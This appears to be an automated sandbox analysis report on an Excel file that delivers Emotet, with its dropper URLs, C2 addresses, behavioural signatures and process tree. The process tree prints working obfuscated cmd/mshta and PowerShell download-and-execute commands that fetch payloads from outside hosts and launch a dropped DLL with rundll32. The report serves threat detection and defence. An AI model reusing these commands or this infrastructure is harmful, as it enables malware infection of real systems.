Analysis

  • max time kernel
    118s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21/01/2022, 03:05

General

  • Target
    efb3f62043e41427d07fedf61f4ae2f6.xls
  • Size 71KB
  • Sample220121-dk69jsdagj
  • SHA256 901080be2ebddd84578b1c86870709fc36d04777bb2a6baa69234b7aab046a1a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\efb3f62043e41427d07fedf61f4ae2f6.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1104
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1560
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1944
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1760
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1484
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Caozfkorfgcxmuuv\qflfmkqpd.zgw",QIvPprGAAfU
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1660
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Caozfkorfgcxmuuv\qflfmkqpd.zgw",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1928

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1100-115-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1100-55-0x000000002FF61000-0x000000002FF64000-memory.dmp

        memory/1100-58-0x0000000075421000-0x0000000075423000-memory.dmp

        memory/1100-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1100-56-0x0000000070F71000-0x0000000070F73000-memory.dmp

        memory/1484-77-0x0000000000260000-0x0000000000286000-memory.dmp

        memory/1484-79-0x0000000000830000-0x0000000000856000-memory.dmp

        memory/1484-81-0x0000000000890000-0x00000000008B6000-memory.dmp

        memory/1484-83-0x0000000000A00000-0x0000000000A26000-memory.dmp

        memory/1484-85-0x0000000000B90000-0x0000000000BB6000-memory.dmp

        memory/1484-87-0x0000000002560000-0x0000000002586000-memory.dmp

        memory/1484-90-0x00000000027C0000-0x00000000027E6000-memory.dmp

        memory/1560-63-0x0000000004C10000-0x0000000005261000-memory.dmp

        memory/1560-62-0x0000000002500000-0x000000000314A000-memory.dmp

        memory/1660-91-0x00000000002D0000-0x00000000002F6000-memory.dmp

        memory/1760-70-0x00000000001C0000-0x00000000001E6000-memory.dmp

        memory/1928-97-0x0000000000320000-0x0000000000346000-memory.dmp

        memory/1928-99-0x0000000000A60000-0x0000000000A86000-memory.dmp

        memory/1928-101-0x0000000000B20000-0x0000000000B46000-memory.dmp

        memory/1928-103-0x0000000000BA0000-0x0000000000BC6000-memory.dmp

        memory/1928-105-0x00000000023F0000-0x0000000002416000-memory.dmp

        memory/1928-107-0x00000000024A0000-0x00000000024C6000-memory.dmp

        memory/1928-109-0x0000000002550000-0x0000000002576000-memory.dmp

        memory/1928-111-0x0000000002820000-0x0000000002846000-memory.dmp

        memory/1928-114-0x0000000002980000-0x00000000029A6000-memory.dmp

        memory/1928-95-0x0000000000220000-0x0000000000246000-memory.dmp